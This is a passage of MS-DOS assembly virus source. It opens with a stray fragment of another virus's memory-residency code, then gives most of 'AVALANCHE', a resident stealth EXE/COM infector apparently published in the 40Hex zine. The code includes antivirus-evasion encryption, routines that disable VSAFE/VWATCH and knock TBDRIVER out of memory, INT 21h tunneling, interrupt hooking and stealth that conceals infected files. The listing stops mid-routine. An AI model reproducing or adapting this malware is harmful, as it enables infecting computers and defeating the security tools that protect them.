|||
|
; MCB?
|
|||
|
jmp short handle_MCB
|
|||
|
|
|||
|
db 0,'(DA/PS)',0
|
|||
|
|
|||
|
handle_MCB: sub word ptr [di+3],reslength_P + 1 ; adjust size of memory
|
|||
|
; area for virus + its MCB
|
|||
|
mov bx,[di+3] ; get size of new memory area
|
|||
|
mov cl,'M' ; make sure this MCB doesn't
|
|||
|
xchg cl,byte ptr [di] ; mark the end of the chain
|
|||
|
inc ax
|
|||
|
add ax,bx ; go to virus segment's MCB
|
|||
|
mov ds,ax
|
|||
|
mov es,ax
|
|||
|
|
|||
|
mov byte ptr [di],cl ; patch end of chain indicator
|
|||
|
mov word ptr [di+1],8 ; mark MCB owned by DOS
|
|||
|
mov word ptr [di+3],reslength_P ; patch in virus size
|
|||
|
|
|||
|
inc ax ; ds->virus segment
|
|||
|
mov ds,ax
|
|||
|
|
|||
|
or di,8 ; go to program name field
|
|||
|
mov ax,'CS' ; make virus invisible to MEM
|
|||
|
stosw ; by pretending it is
|
|||
|
xor ax,ax ; DOS system code
|
|||
|
stosw
|
|||
|
stosw
|
|||
|
stosw
|
|||
|
40Hex Number 14 Volume 5 Issue 1 File 013
|
|||
|
|
|||
|
;****************************************************************************
|
|||
|
;* Resident stealth infector 'AVALANCHE' *
|
|||
|
;* written by Metal Junkie in 1994/95 *
|
|||
|
;****************************************************************************
|
|||
|
|
|||
|
; 100% memory stealth
|
|||
|
; Int 21h Tunneling
|
|||
|
; Retro functions
|
|||
|
; EXE/COM - Infection
|
|||
|
; and many other features. Enjoy it!
|
|||
|
|
|||
|
; Disclaimer: Warning! This source contains destructive code. Do not compile
|
|||
|
; it! The author is not responsible for any damage caused by this code.
|
|||
|
; And last but not least, greetings to Neurobasher,Stormbringer, the guys
|
|||
|
; of VLAD (hi qark) and the Unforgiven Metal Militia.
|
|||
|
|
|||
|
code segment para 'code'
|
|||
|
.8086
|
|||
|
org 100h
|
|||
|
|
|||
|
assume cs:code, ds:code, es:code, ss:code ;
|
|||
|
|
|||
|
;======== Initializing routines and decryption =============================
|
|||
|
|
|||
|
; test options:
|
|||
|
|
|||
|
EXEPERMIS equ 1 ; infect EXE Files
|
|||
|
COMPERMIS equ 1 ; infect COM files
|
|||
|
STEALTH equ 1 ; include stealth functions
|
|||
|
RETRO equ 1 ; anti scan
|
|||
|
|
|||
|
start: ; SS ist always equal CS !
|
|||
|
|
|||
|
.386
|
|||
|
kenn:
|
|||
|
mov ecx,(offset (virende-vircode+1)) ; Adios F-Prot !
|
|||
|
kenn1: mov bx,(266+offset vircode)
|
|||
|
jmp patch
|
|||
|
db 0eah ; Adios TBAV !
|
|||
|
entschl: xor byte ptr cs:[bx],0
|
|||
|
inc bx
|
|||
|
patch: loop entschl
|
|||
|
|
|||
|
.8086
|
|||
|
|
|||
|
; ------ Start of encrypted body ----
|
|||
|
|
|||
|
vircode: call getip ; Only to fool simple scanners looking
|
|||
|
getip: pop ax ; for the classic pop bp
|
|||
|
mov bp,ax
|
|||
|
sub bp,(100h+(getip-start));
|
|||
|
patch5: jmp short conti
|
|||
|
db 81h
|
|||
|
conti: jmp lab1
|
|||
|
|
|||
|
;--- Constants ---------------------------------------------------------
|
|||
|
|
|||
|
sprbef equ 3 ; 3 Bytes for a JUMP
|
|||
|
monat equ 01h ; Date of activation
|
|||
|
itsme equ "sh" ; Signature
|
|||
|
|
|||
|
DOS_N equ 21h ; normal DOS Function 21
|
|||
|
|
|||
|
|
|||
|
db " AVALANCHE/Germany '94...Metal Junkie greets Neurobasher"
|
|||
|
|
|||
|
;--- EXE-Header-Lokationen ---
|
|||
|
|
|||
|
cs_pos equ 16h ; Position of Codesegment in EXE Header
|
|||
|
ss_pos equ 0eh
|
|||
|
ip_pos equ 14h ; IP
|
|||
|
ovl_no equ 1Ah
|
|||
|
hdl_pos equ 08h ; Size of Header
|
|||
|
sp_pos equ 10h ; SP
|
|||
|
min_par equ 0ah ; Min. amount of memory
|
|||
|
div512 equ 04h ; Filelength DIV 512
|
|||
|
mod512 equ 02h ; MOD 512
|
|||
|
segtab equ 06h ;
|
|||
|
chksum equ 12h ;
|
|||
|
|
|||
|
;--- Variables ----
|
|||
|
|
|||
|
cs_merk dw (0)
|
|||
|
ds_merk dw (0) ; store the original regs here
|
|||
|
es_merk dw (0)
|
|||
|
sp_merk dw 0fffeh
|
|||
|
ss_merk dw (0)
|
|||
|
|
|||
|
min_mem dw 4096
|
|||
|
|
|||
|
ip_merk dw 0100h ; pointer to first instruction of host
|
|||
|
wirt dw (?) ; this is a far jump to the host
|
|||
|
combytes db 0C3h,0h,01h ; buffer for host bytes (COM)
|
|||
|
com_vek db 0e9h,0,0 ; jump vector (COM)
|
|||
|
;---
|
|||
|
|
|||
|
org_filelng_lo dw (?) ; original length of host
|
|||
|
org_filelng_hi dw (?)
|
|||
|
mem_strat dw (?) ; buffer for allocation strategy
|
|||
|
umb_strat db (?)
|
|||
|
comflag db 1 ; 1=host is a COM-file
|
|||
|
generation dw 0
|
|||
|
|
|||
|
;------- check activation circumstances ------------------------------------
|
|||
|
|
|||
|
lab1: cli
|
|||
|
mov [bp+ds_merk],ds ; store original segments here
|
|||
|
|
|||
|
cld
|
|||
|
push cs ; setup registers
|
|||
|
pop ds
|
|||
|
|
|||
|
mov ax,4bf0h ; Are we resident in memory ?
|
|||
|
xor di,di
|
|||
|
int DOS_N
|
|||
|
cmp di,itsme
|
|||
|
jne lab32
|
|||
|
jmp restore_com ; Yes, we are -> exit
|
|||
|
|
|||
|
lab32: mov ah,30h ; Dos-Version ?
|
|||
|
int DOS_N
|
|||
|
cmp al,5
|
|||
|
jae lab4
|
|||
|
jmp restore_com ; exit when < 5.0
|
|||
|
|
|||
|
lab4: mov ah,04h ; enable virus [Monat] 1994
|
|||
|
int 1ah
|
|||
|
jc lab5
|
|||
|
cmp cx,1996h
|
|||
|
jae lab5
|
|||
|
cmp dh,monat
|
|||
|
jae lab5
|
|||
|
jmp restore_com
|
|||
|
|
|||
|
lab5: call killscan ; kill VSAFE/VWATCH
|
|||
|
|
|||
|
mov ah,0eh ; search or SDScan Novell Dos 7.0
|
|||
|
mov dl,0adh
|
|||
|
int DOS_N
|
|||
|
cmp al,0bah
|
|||
|
jne initvir
|
|||
|
|
|||
|
jmp restore_com ; Scanner active ==> Exit
|
|||
|
|
|||
|
;---------------------------------------------------------------------------
|
|||
|
|
|||
|
dowirt: mov ax,[bp+ds_merk]
|
|||
|
mov ds,ax ; restore DS/ES
|
|||
|
mov es,ax
|
|||
|
cmp [bp+comflag],1 ; Is host a COM file ?
|
|||
|
je do2
|
|||
|
|
|||
|
mov ax,es
|
|||
|
add ax,[bp+cs_merk] ; old codesegment in vector
|
|||
|
add ax,16
|
|||
|
mov word ptr [bp+wirt],ax
|
|||
|
mov sp,[bp+sp_merk] ; restore stack
|
|||
|
mov ax,es
|
|||
|
add ax,cs:[bp+ss_merk]
|
|||
|
add ax,16
|
|||
|
mov ss,ax
|
|||
|
jmp short do3
|
|||
|
|
|||
|
do2: mov ax,cs
|
|||
|
mov cs:[bp+wirt],ax
|
|||
|
do3: xor ax,ax ; Important ! All Registers have to be ZERO
|
|||
|
mov bx,ax
|
|||
|
mov cx,ax
|
|||
|
mov dx,ax
|
|||
|
mov si,ax
|
|||
|
mov di,ax
|
|||
|
sti
|
|||
|
|
|||
|
jmp dword ptr cs:[bp+ip_merk] ; jump to host
|
|||
|
|
|||
|
;---- Allocate memory for virus --------------------------------------
|
|||
|
|
|||
|
initvir: mov ax,[bp+ds_merk] ; free memory
|
|||
|
mov es,ax ; start segment to ES
|
|||
|
mov bx,[bp+min_mem] ; amount needed for virus
|
|||
|
mov ah,4ah ; change memory allocation
|
|||
|
int DOS_N
|
|||
|
jae init11
|
|||
|
jmp restore_com
|
|||
|
|
|||
|
init11: push cs
|
|||
|
pop es
|
|||
|
mov byte ptr [bp+notarn],0 ; enable stealth functions
|
|||
|
mov byte ptr [bp+virtod],0
|
|||
|
|
|||
|
;--- get free block in the TOM -----------------
|
|||
|
|
|||
|
mov ax,5800h ; get allocation strategy
|
|||
|
int DOS_N
|
|||
|
mov [bp+mem_strat],ax ; und store it
|
|||
|
|
|||
|
mov ax,5802h ; get UMB Status
|
|||
|
int DOS_N ; DOS<5.0 C=1,AX=1
|
|||
|
jae init1
|
|||
|
jmp restore_com
|
|||
|
|
|||
|
init1: mov [bp+umb_strat],al ; store it
|
|||
|
|
|||
|
mov ax,5801h ; set new strategy
|
|||
|
mov bx,0000000000000010b ; Last Block, search in TPA only
|
|||
|
int DOS_N
|
|||
|
mov ax,5803h ; disable usage of UMB
|
|||
|
mov bx,0
|
|||
|
int DOS_N
|
|||
|
mov bx,(((virende-start+100) shr 4) +33) ; Virus in Paragr.
|
|||
|
; + place to store Trojan
|
|||
|
mov ah,48h ; allocate RAM for virus
|
|||
|
int DOS_N
|
|||
|
jc resetall
|
|||
|
push ax ; store allocated segment
|
|||
|
dec ax
|
|||
|
mov es,ax ; ES to MCB of alloc. memory
|
|||
|
inc ax
|
|||
|
|
|||
|
mov word ptr es:[0],"Z"
|
|||
|
mov word ptr es:[1],8 ; make us resident as part of DOS
|
|||
|
|
|||
|
|
|||
|
mov ax,3521h ; get old INT 21h
|
|||
|
int DOS_N
|
|||
|
mov word ptr [bp+int21alt],bx
|
|||
|
mov word ptr [bp+int21alt+2],es
|
|||
|
|
|||
|
mov word ptr [bp+OrgDos],bx ; if tracer failed :(
|
|||
|
mov word ptr [bp+OrgDos+2],es
|
|||
|
|
|||
|
call TunnelIt ; trace the INT 21h vector
|
|||
|
cmp ax,0ffh ; have we found the vector ?
|
|||
|
je notun
|
|||
|
|
|||
|
mov word ptr [bp+OrgDos+2],es ; store the new entry
|
|||
|
mov word ptr [bp+OrgDos],ax
|
|||
|
|
|||
|
notun: mov ax,3513h ; get old BIOS interrupt 13h
|
|||
|
int DOS_N
|
|||
|
mov word ptr [bp+int13alt],bx
|
|||
|
mov word ptr [bp+int13alt+2],es
|
|||
|
|
|||
|
pop es ; get back virus-segment
|
|||
|
push es
|
|||
|
mov si,offset start
|
|||
|
add si,bp
|
|||
|
mov di,100h
|
|||
|
mov cx,offset (virende-start)
|
|||
|
rep movsb ; Copy the virus to TOM
|
|||
|
|
|||
|
mov dx,offset int21 ; hook INT21h to virus handler
|
|||
|
mov ax,2521h
|
|||
|
pop ds ; get back virus segment
|
|||
|
int DOS_N
|
|||
|
|
|||
|
mov dx,offset int13 ; hook BIOS-Interrupt to virus handler
|
|||
|
mov ax,2513h
|
|||
|
int DOS_N
|
|||
|
|
|||
|
resetall: push cs
|
|||
|
pop ds
|
|||
|
|
|||
|
push [bp+ds_merk] ; restore memory allocation
|
|||
|
pop es
|
|||
|
mov bx,0ffffh
|
|||
|
mov ah,4ah
|
|||
|
int DOS_N
|
|||
|
mov ah,4ah
|
|||
|
int DOS_N
|
|||
|
|
|||
|
mov bl,[bp+umb_strat] ; restore old UMB strategy
|
|||
|
xor bh,bh
|
|||
|
mov ax,5803h
|
|||
|
int DOS_N
|
|||
|
|
|||
|
mov bx,[bp+mem_strat] ; Alte Strategie zur<75>ck
|
|||
|
mov ax,5801h
|
|||
|
int DOS_N
|
|||
|
|
|||
|
; restore orinal JUMP to host
|
|||
|
|
|||
|
restore_com: cmp [bp+comflag],1 ; is it a COM file ?
|
|||
|
jne initende
|
|||
|
|
|||
|
mov di,[bp+ip_merk] ; build up traget adress
|
|||
|
|
|||
|
mov si,offset combytes ; restore original bytes to host
|
|||
|
add si,bp ; only necessary if .com - EXE has a direct
|
|||
|
mov cx,sprbef ; vector.
|
|||
|
rep movsb
|
|||
|
|
|||
|
initende: jmp dowirt
|
|||
|
|
|||
|
; --------- Kill VSAFE and VWATCH and TBDRIVER -------------------
|
|||
|
; you can use this function from the resident part of virus too
|
|||
|
|
|||
|
killscan proc near
|
|||
|
|
|||
|
push es
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push si
|
|||
|
push di
|
|||
|
|
|||
|
mov ax,0fa00h ; Vsafe resident ?
|
|||
|
mov dx,5945h
|
|||
|
int 16h
|
|||
|
cmp di,4559h
|
|||
|
jne ks1
|
|||
|
|
|||
|
mov ax,0fa02h
|
|||
|
mov dx,5945h
|
|||
|
mov bl,0
|
|||
|
int 16h ; get old flags to CL
|
|||
|
|
|||
|
and cl,23 ; disable only parts of scanner
|
|||
|
mov bl,cl ; because the full deinstallation causes
|
|||
|
mov ax,0fa02h ; warnings
|
|||
|
mov dx,5945h
|
|||
|
int 16h
|
|||
|
|
|||
|
ks1: push ds
|
|||
|
xor ax,ax
|
|||
|
mov ds,ax
|
|||
|
les si,ds:[21h*4] ; get INT 21h handler
|
|||
|
pop ds
|
|||
|
mov ax,word ptr es:[si] ; get first two instructions of INT 21h
|
|||
|
cmp ax,05ebh ; Is it that fucking TBDRIVER ?
|
|||
|
jne ks2
|
|||
|
mov word ptr es:[si],9090h ; Bomb it out of memory !!!
|
|||
|
|
|||
|
; This works because there is a far-jump to DOS directly behind
|
|||
|
; the near jump to the scanner
|
|||
|
|
|||
|
ks2: pop di
|
|||
|
pop si
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
pop es
|
|||
|
ret
|
|||
|
|
|||
|
killscan endp
|
|||
|
|
|||
|
;**************************************************************************
|
|||
|
;*** INT 21h Tracer to locate the entry of DOS ***
|
|||
|
;*** Setting up some parameters for the tracing routine ***
|
|||
|
;**************************************************************************
|
|||
|
|
|||
|
; INPUT : none
|
|||
|
; OUTPUT : Original-DOS-vektor in ES:AX
|
|||
|
|
|||
|
Tunnelit PROC NEAR
|
|||
|
|
|||
|
mov ah, 52h ; get the DIB adresse
|
|||
|
int DOS_N
|
|||
|
jc tuend
|
|||
|
mov ax,es:[bx-2] ; vector to first MCB -> ES:AX
|
|||
|
mov word ptr [bp+dos_seg],ax ; here is the DOS segment
|
|||
|
|
|||
|
xor ax,ax ; ES=0
|
|||
|
mov es,ax
|
|||
|
les ax, es:[1*4] ; store original INT 1
|
|||
|
mov word ptr [bp+oldint1], ax
|
|||
|
mov word ptr [bp+oldint1+2], es
|
|||
|
|
|||
|
mov cs:[bp+sflag],0
|
|||
|
mov word ptr cs:[bp+deltaoff],bp ; set up delta offset
|
|||
|
|
|||
|
cli
|
|||
|
xor ax,ax ; hook INT 1 to tracer
|
|||
|
mov es,ax
|
|||
|
mov bx,offset int1 ; delta Offset!
|
|||
|
add bx,bp
|
|||
|
mov word ptr es:[1*4],bx
|
|||
|
mov es:[1*4+2],cs
|
|||
|
sti
|
|||
|
|
|||
|
pushf ; enable single step
|
|||
|
pop ax ; by setting the T-Flag
|
|||
|
or ah,1
|
|||
|
push ax
|
|||
|
popf
|
|||
|
|
|||
|
mov ah,0bh ; get keyboardstatus to find
|
|||
|
cli ; the entry
|
|||
|
pushf
|
|||
|
call dword ptr cs:[bp+int21alt]
|
|||
|
|
|||
|
pushf ; single step off
|
|||
|
pop ax ; AX=FF if tracer failed
|
|||
|
and ax,0feffh
|
|||
|
push ax
|
|||
|
popf
|
|||
|
|
|||
|
cli ; restore old Int 1
|
|||
|
push ds
|
|||
|
xor ax,ax
|
|||
|
mov ds,ax
|
|||
|
les ax, cs:[bp+oldint1]
|
|||
|
mov word ptr ds:[1*4], ax
|
|||
|
mov word ptr ds:[1*4+2], es
|
|||
|
pop ds
|
|||
|
sti
|
|||
|
|
|||
|
cmp [bp+sflag],1 ; was tracing successful ?
|
|||
|
jne nosuccess
|
|||
|
|
|||
|
mov ax,word ptr [bp+oldint21+2]
|
|||
|
mov es,ax
|
|||
|
mov ax,word ptr [bp+oldint21]
|
|||
|
|
|||
|
tuend: ret
|
|||
|
|
|||
|
nosuccess: mov ax,0ffh ; nope, we have no entry :(
|
|||
|
|
|||
|
jmp short tuend
|
|||
|
|
|||
|
oldint1 dd ?
|
|||
|
oldint21 dd ?
|
|||
|
sflag db 0
|
|||
|
dos_seg dw ?
|
|||
|
|
|||
|
Tunnelit ENDP
|
|||
|
|
|||
|
;**************************************************************************
|
|||
|
;*** Single Step interrupt routine ***
|
|||
|
;*** Tries to find the original entry of the DOS to fool reesident ***
|
|||
|
;*** scanners ***
|
|||
|
;**************************************************************************
|
|||
|
|
|||
|
int1 PROC FAR
|
|||
|
|
|||
|
push bp
|
|||
|
mov bp,sp
|
|||
|
push ax
|
|||
|
push si
|
|||
|
db 0BEh ; mov si, deltaoff
|
|||
|
deltaoff dw (?)
|
|||
|
mov ax, [bp+4] ; get segment of return adress
|
|||
|
cmp ax,cs:[si+dos_seg] ; is it in the DOS segement ?
|
|||
|
jbe foundit
|
|||
|
|
|||
|
ex_int1:pop si
|
|||
|
pop ax
|
|||
|
pop bp
|
|||
|
iret
|
|||
|
|
|||
|
foundit: ; yes, we've found the entry
|
|||
|
mov word ptr cs:[si+OldInt21+2],ax ; store segment (bp+4)
|
|||
|
mov ax,[bp+2]
|
|||
|
mov word ptr cs:[si+OldInt21],ax ; store offset
|
|||
|
mov cs:[si+sflag],1
|
|||
|
and word ptr [bp+6], 0FEFFh ; Tracing off
|
|||
|
jmp short ex_int1
|
|||
|
|
|||
|
INT1 ENDP
|
|||
|
|
|||
|
;****************************************************************************
|
|||
|
;**** Interrupt 21 Handler ****
|
|||
|
;****************************************************************************
|
|||
|
|
|||
|
|
|||
|
;--- Variables :
|
|||
|
|
|||
|
psp equ 0 ; ununsed PSP for buffer
|
|||
|
|
|||
|
; --- Interruptvektors ---
|
|||
|
|
|||
|
crbreak dd (?) ; Old Critical-Error-INT
|
|||
|
int21alt dd (?) ; Old Dos-Interrupt
|
|||
|
int13alt dd (?) ; Old BIOS-Interrupt
|
|||
|
OrgDos dd (?) ; Original-DOS-Interrupt
|
|||
|
|
|||
|
; --- Variables ---
|
|||
|
|
|||
|
nam_off dw (?) ; filename offset
|
|||
|
nam_seg dw (?) ; filename segment
|
|||
|
dtaseg dw (?) ; segment of DTA
|
|||
|
dtaoff dw (?) ; offset of DTA
|
|||
|
d_datum dw (?) ; file date
|
|||
|
d_zeit dw (?) ; time of last change
|
|||
|
d_attrib dw (?) ; old files attributes
|
|||
|
handle dw (?) ; file handle
|
|||
|
ret_off dw (?)
|
|||
|
|
|||
|
; --- Flags ---
|
|||
|
|
|||
|
internal db 0 ; indicates internal usage of routines
|
|||
|
flag db 0 ; allround flag
|
|||
|
virtod db 0 ; 1=Virus is disabled
|
|||
|
notarn db 0 ; 1=Stealth functions disabled
|
|||
|
|
|||
|
|
|||
|
comsuff db "*.com",0
|
|||
|
|
|||
|
;----------------------------------------------------------------------------
|
|||
|
|
|||
|
cint proc far ; Critical-Error-INT
|
|||
|
; to prevent virus from generating errors
|
|||
|
sti ; during access on write proteted disks
|
|||
|
mov al,3
|
|||
|
iret
|
|||
|
|
|||
|
cint endp
|
|||
|
|
|||
|
;----------------------------------------------------------------------------
|
|||
|
|
|||
|
int21 PROC FAR ; new INT 21 handler
|
|||
|
|
|||
|
IF STEALTH
|
|||
|
cmp ah,4bh ; Exec-Interrupt ?
|
|||
|
jne check_stealth ; no, let's check stealth
|
|||
|
|
|||
|
ELSE
|
|||
|
cmp ah,4bh
|
|||
|
jne aus2
|
|||
|
ENDIF
|
|||
|
|
|||
|
is_exec: cmp al,0f0h ; virus self check
|
|||
|
je rescheck
|
|||
|
cmp al,05h ; ignore special exec functions
|
|||
|
je aus2
|
|||
|
cmp al,03h
|
|||
|
je aus2
|
|||
|
|
|||
|
mov cs:[internal],0 ; internal usage of INT 21 handler
|
|||
|
jmp exec ; yeah, it's the exec function
|
|||
|
|
|||
|
rescheck: mov di,itsme ; its me -> return to caller
|
|||
|
iret
|
|||
|
|
|||
|
aus2: jmp cs:[int21alt] ; jump to original INT 21h
|
|||
|
|
|||
|
|
|||
|
;=== Handler for stealth functions of INT 21h ====================
|
|||
|
|
|||
|
IF STEALTH
|
|||
|
|
|||
|
check_stealth:
|
|||
|
cmp cs:[virtod],1 ; Ist Virus disabled ?
|
|||
|
je aus
|
|||
|
cmp cs:[notarn],1 ; Is Stealth shield disabled ?
|
|||
|
je aus
|
|||
|
|
|||
|
cmp ah,4eh ; Find-First (Handle) ?
|
|||
|
jne chk_hdl
|
|||
|
jmp ff_hdl
|
|||
|
|
|||
|
chk_hdl: cmp ah,4fh ; Find-Next (Handle) ?
|
|||
|
jne chk_fcb
|
|||
|
jmp ff_hdl
|
|||
|
|
|||
|
chk_fcb: cmp ah,11h ; Find-First (FCB) ?
|
|||
|
je firstnext
|
|||
|
cmp ah,12h ; Find-Next (FCB) ?
|
|||
|
je firstnext
|
|||
|
|
|||
|
jmp short holdat ; no, continue check
|
|||
|
|
|||
|
; ---- date/time fooling ---------------------------------------
|
|||
|
|
|||
|
holdat: cmp ax,5700h ; is someone asking on date/time of afile?
|
|||
|
jne schieb_zeiger
|
|||
|
jmp deal_dat
|
|||
|
|
|||
|
schieb_zeiger: ; maybe a movement of file pointer?
|
|||
|
|
|||
|
cmp ah,42h
|
|||
|
jne read_3f
|
|||
|
jmp deal_zeiger
|
|||
|
|
|||
|
read_3f: ; a file read function ?
|
|||
|
cmp ah,3fh
|
|||
|
jne aus
|
|||
|
jmp deal_read
|
|||
|
|
|||
|
aus: jmp cs:[int21alt] ; jump to old interrupt
|
|||
|
|
|||
|
ENDIF
|
|||
|
|
|||
|
int21 endp
|
|||
|
|
|||
|
;------------------------ Handler-Bodies --------------------------------------------------
|
|||
|
|
|||
|
IF STEALTH
|
|||
|
|
|||
|
ff_hdl proc near ; handle find-first-next (handle)
|
|||
|
|
|||
|
pushf ; call function first
|
|||
|
call cs:[int21alt]
|
|||
|
|
|||
|
jc ngef ; any files found ?
|
|||
|
jmp short findfn1
|
|||
|
ngef: retf 2
|
|||
|
|
|||
|
findfn1: call pushall ; save all registers
|
|||
|
|
|||
|
mov ah,2fh ; get DTA adress to ES:BX
|
|||
|
int DOS_N
|
|||
|
mov ax,es:[bx+18h] ; get date of file
|
|||
|
and ax,1111111000000000b ; mask out the month
|
|||
|
mov cl,9
|
|||
|
shr ax,cl
|
|||
|
cmp ax,90d ; compare with 90
|
|||
|
jna findfnende ; year < 90 -> file is clean
|
|||
|
|
|||
|
sub word ptr es:[bx+26],(virende-start) ; shrink filelength
|
|||
|
sbb word ptr es:[bx+28],0
|
|||
|
|
|||
|
sub word ptr es:[bx+18h],1100100000000000b ; date=date-100 years
|
|||
|
|
|||
|
findfnende: call popall
|
|||
|
|
|||
|
retf 2
|
|||
|
|
|||
|
ff_hdl endp
|
|||
|
|
|||
|
;---------------------------------------------------------------------------
|
|||
|
|
|||
|
firstnext proc near ; handle the fcb functions
|
|||
|
|
|||
|
pushf ; call function
|
|||
|
call cs:[int21alt]
|
|||
|
|
|||
|
call pushall
|
|||
|
cmp al,255 ; any files found ?
|
|||
|
jne continue
|
|||
|
jmp short fcbende ; no, then exit
|
|||
|
|
|||
|
continue: mov ah,2fh ; get DTA adress to ES:BX
|
|||
|
int DOS_N
|
|||
|
|
|||
|
cmp byte ptr es:[bx],255 ; is it a large FCB ?
|
|||
|
je erwfcb
|
|||
|
|
|||
|
mov si,19h ; date entry (secret DOS)
|
|||
|
mov di,1dh ; filelength (secret DOS)
|
|||
|
jmp short normfcb
|
|||
|
|
|||
|
erwfcb: mov si,20h ; date entry (secret DOS)
|
|||
|
mov di,24h ; filelength
|
|||
|
|
|||
|
normfcb: mov ax,es:[bx+si] ; get file and date stamps
|
|||
|
and ax,1111111000000000b ; mask out the month
|
|||
|
mov cl,9
|
|||
|
shr ax,cl
|
|||
|
cmp ax,90d ; compare with 90
|
|||
|
jna fcbende ; year < 90 -> file is clean
|
|||
|
|
|||
|
sub word ptr es:[bx+di],(virende-start) ; change date/length
|
|||
|
sbb word ptr es:[bx+di+2],0
|
|||
|
|
|||
|
sub word ptr es:[bx+di-7],(virende-start)
|
|||
|
sbb word ptr es:[bx+di-7+2],0
|
|||
|
sub word ptr es:[bx+si],1100100000000000b
|
|||
|
|
|||
|
fcbende: call popall
|
|||
|
|
|||
|
retf 2
|
|||
|
|
|||
|
firstnext endp
|
|||
|
|
|||
|
;----------------------------------------------------------------------------
|
|||
|
|
|||
|
deal_dat proc near
|
|||
|
|
|||
|
pushf
|
|||
|
call cs:[int21alt]
|
|||
|
|
|||
|
pushf ; don't save DX, it holds the date
|
|||
|
push ax
|
|||
|
push cx
|
|||
|
|
|||
|
mov ax,dx
|
|||
|
and ax,1111111000000000b ; mask out month
|
|||
|
mov cl,9
|
|||
|
shr ax,cl
|
|||
|
cmp ax,90 ; compare with 90 years
|
|||
|
jna deal_datende ; year<90 -> file is clean
|
|||
|
|
|||
|
sub dx,1100100000000000b ; subtract 100 years
|
|||
|
|
|||
|
deal_datende:
|
|||
|
pop cx
|
|||
|
pop ax
|
|||
|
popf
|
|||
|
|
|||
|
retf 2
|
|||
|
deal_dat endp
|
|||
|
|
|||
|
;---------------------------------------------------------------------------
|
|||
|
|
|||
|
; Don't let the file pointer hit the virus
|
|||
|
|
|||
|
deal_zeiger proc near
|
|||
|
|
|||
|
cmp al,02h ; handle funktion 2 only
|
|||
|
jne zg_do_function
|
|||
|
or cx,dx
|
|||
|
jne zg_do_function
|
|||
|
|
|||
|
call pruefinf ; file infected ?
|
|||
|
jae zg_do_function
|
|||
|
|
|||
|
mov cx,0ffffh
|
|||
|
mov dx,-(virende-start) ; subtract virus size
|
|||
|
pushf
|
|||
|
call cs:[int21alt]
|
|||
|
|
|||
|
retf 2 ; and exit
|
|||
|
|
|||
|
zg_do_function:
|
|||
|
jmp cs:[int21alt]
|
|||
|
|
|||
|
deal_zeiger endp
|
|||
|
|
|||
|
; ---------------------------------------------------------------------------
|
|||
|
; funktion deal_read: Filters the virus on file access. The memory image is
|
|||
|
; clean. Virus contains the original header bytes at his end.
|
|||
|
|
|||
|
rd_handle dw (?) ; file handle
|
|||
|
rd_bytes dw (?) ; amount of bytes to read
|
|||
|
|
|||
|
rd_aktpos_lo dw (?) ; actual file pointer position
|
|||
|
rd_aktpos_hi dw (?)
|
|||
|
rd_endpos_lo dw (?)
|
|||
|
rd_endpos_hi dw (?)
|
|||
|
rd_virpos_lo dw (?)
|
|||
|
rd_virpos_hi dw (?)
|
|||
|
rd_es_merk dw (?)
|
|||
|
rd_ds_merk dw (?)
|
|||
|
rd_funktion dw (?)
|
|||
|
rd_error_msg dw (?)
|
|||
|
rd_puffer_off dw (?)
|
|||
|
rd_bytes_read dw (?)
|
|||
|
|
|||
|
deal_read proc near
|
|||
|
|
|||
|
cmp bx,5 ; Ist es file handle or a device ?
|
|||
|
jae dlrd1
|
|||
|
jmp do_read2
|
|||
|
|
|||
|
dlrd1:
|
|||
|
call pruefinf ; is file infected ?
|
|||
|
jae do_read2
|
|||
|
|
|||
|
mov cs:[rd_ds_merk],ds
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov [rd_funktion],ax
|
|||
|
mov [rd_handle],bx
|
|||
|
mov [rd_bytes],cx
|
|||
|
mov [rd_puffer_off],dx
|
|||
|
mov [rd_es_merk],es
|
|||
|
jmp dlrd2
|
|||
|
|
|||
|
; restore all regs and do the read
|
|||
|
do_read0: mov cx,cs:[rd_bytes] ; restore old CX
|
|||
|
|
|||
|
; restore all regs exept for cx and do the read
|
|||
|
do_read1:
|
|||
|
mov bx,cs:[rd_handle]
|
|||
|
mov dx,cs:[rd_puffer_off]
|
|||
|
mov ax,cs:[rd_es_merk]
|
|||
|
mov es,ax
|
|||
|
mov ax,cs:[rd_ds_merk]
|
|||
|
mov ds,ax
|
|||
|
mov ax,cs:[rd_funktion]
|
|||
|
|
|||
|
; don't restore regs and do the read
|
|||
|
do_read2: jmp cs:[int21alt]
|
|||
|
|
|||
|
; return to caller with restored regs exept for ax
|
|||
|
do_ret1:
|
|||
|
mov cx,cs:[rd_bytes]
|
|||
|
mov dx,cs:[rd_puffer_off]
|
|||
|
mov bx,cs:[rd_es_merk]
|
|||
|
mov es,bx
|
|||
|
mov bx,cs:[rd_ds_merk]
|
|||
|
mov ds,bx
|
|||
|
mov bx,cs:[rd_handle]
|
|||
|
|
|||
|
;return to caller without restored regs
|
|||
|
do_ret2:
|
|||
|
retf 2
|
|||
|
|
|||
|
dlrd2: mov ax,4201h ; get file pointer position
|
|||
|
xor cx,cx
|
|||
|
xor dx,dx
|
|||
|
pushf
|
|||
|
call cs:[int21alt]
|
|||
|
jc do_read0
|
|||
|
|
|||
|
mov [rd_aktpos_lo],ax ; store it
|
|||
|
mov [rd_aktpos_hi],dx
|
|||
|
|
|||
|
add ax,[rd_bytes] ; calc endposition of file pointer
|
|||
|
adc dx,0
|
|||
|
mov [rd_endpos_lo],ax
|
|||
|
mov [rd_endpos_hi],dx
|
|||
|
|
|||
|
mov ax,4202h ; get original filesize
|
|||
|
xor cx,cx
|
|||
|
xor dx,dx
|
|||
|
pushf
|
|||
|
call cs:[int21alt]
|
|||
|
|
|||
|
sub ax,(virende-start)
|
|||
|
sbb dx,0
|
|||
|
mov [rd_virpos_lo],ax ; store the original size
|
|||
|
mov [rd_virpos_hi],dx
|
|||
|
|
|||
|
mov ax,4200h
|
|||
|
mov cx,[rd_aktpos_hi]
|
|||
|
mov dx,[rd_aktpos_lo]
|
|||
|
pushf
|
|||
|
call cs:[int21alt]
|
|||
|
|
|||
|
jae rdmk1
|
|||
|
jmp do_read0
|
|||
|
|
|||
|
; Now we have to make a few decisions where the pointer is and what
|
|||
|
; to do that he does not hit the virus body
|
|||
|
|
|||
|
rdmk1: mov ax,[rd_aktpos_lo] ; aktpos < 1dh
|
|||
|
cmp ax,1dh
|
|||
|
|
|||
|
jb fall_1 ; pointer is in the header -> case 1
|
